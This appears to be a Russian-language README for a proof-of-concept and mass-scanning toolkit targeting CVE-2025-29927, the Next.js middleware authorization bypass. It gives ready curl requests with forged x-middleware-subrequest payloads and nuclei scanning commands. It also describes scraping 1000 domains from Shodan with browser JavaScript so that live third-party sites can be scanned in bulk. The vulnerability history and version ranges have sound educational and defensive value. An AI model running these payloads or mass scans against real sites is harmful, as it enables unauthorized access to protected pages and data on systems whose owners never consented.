sdrtba/cve-2025-29927Набор инструментов для доказательства концепции и массового сканирования CVE-2025-29927 — обхода авторизации в промежуточном ПО Next.js с помощью поддельного заголовка x-middleware-subrequest. Включает шаблоны nuclei и сканер на Python.
Кратко: уязвимость в middleware Next.js, позволяющая обходить проверки авторизации путём подделки заголовка
x-middleware-subrequest.
Выполнил поиск в shodan по фильтру http.headers:"x-middleware-rewrite" и забрал список из 1000 доменов
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
Контекст и предыстория В ранних версиях Next.js middleware могли вызывать внутренние (sub-)запросы к самому приложению. Чтобы предотвратить рекурсию, фреймворк вводил служебные HTTP-заголовки — внутренние маркеры, которые помечали «этот запрос уже обработан». Такой подход был практичным и позволял избежать бесконечных циклов внутри pipeline middleware.
Эволюция middleware и полезные нагрузки (payloads) До Next.js 12.2 middleware располагались как _middleware внутри pages/ и могли быть вложенными (pages/_middleware, pages/dashboard/_middleware и т.д.). Payload мог указывать конкретный путь (x-middleware-subrequest: pages/dashboard/_middleware). С 12.2 middleware стали именоваться middleware.js/ts и перестали жить в pages/. В этом случае простой payload x-middleware-subrequest: middleware (или src/middleware при использовании src/) часто работал. Поздние версии (≥ 13.2.0) ввели дополнительные проверки, включая MAX_RECURSION_DEPTH; в некоторых обходах использовали повторяющиеся значения вида middleware:middleware:... для имитации вложенной цепочки. Практически: точный формат payload зависит от версии Next.js и структуры проекта.
История фиксации и проблема с x-middleware-subrequest-id Первоначальный быстрый патч включал идею с внутренним идентификатором — x-middleware-subrequest-id — который генерировался и проверялся на рантайме, чтобы отличать валидные внутренние subrequests от подделок. Однако реализация показала побочный эффект: этот внутренний ID мог утекать наружу (попадая в outgoing fetch/запросы), что создавало новый риск. Кроме того, подпись/синхронизация идентификаторов оказалось ненадёжной в условиях множества CDN/PoP и смешанных рантаймов (Edge vs Node). В результате код с x-middleware-subrequest-id был удалён/переработан; окончательное решение — сочетание патчей в Next.js и платформенных mitigations (фильтрация входящих internal-заголовков на уровне ingress/edge).
CVE-2025-29927x-middleware-subrequest. Внешний клиент может поставить этот заголовок и обойти проверки доступа.x-middleware-subrequest при принятии решения о доступе. Поле изначально предназначалось для внутренних операций фреймворка, однако внешние запросы могут установить этот заголовок, что позволяет обойти авторизацию.Уязвимы следующие диапазоны версий:
>= 11.1.4 и < 12.3.5>= 13.0.0 и < 13.5.9>= 14.0.0 и < 14.2.25>= 15.0.0 и < 15.2.39.1 (CRITICAL)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, headers, favicon hash) — безопасный режим.x-middleware-subrequest и сравнивает ответ. Обязательно использовать rate-limit и throttle.Команда для запуска (пример):
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest → сравнить статус и тело.--concurrency, --delay, --dry-run, --respect-robots.aiohttp / asyncio для высокой производительности.Короткий псевдокод: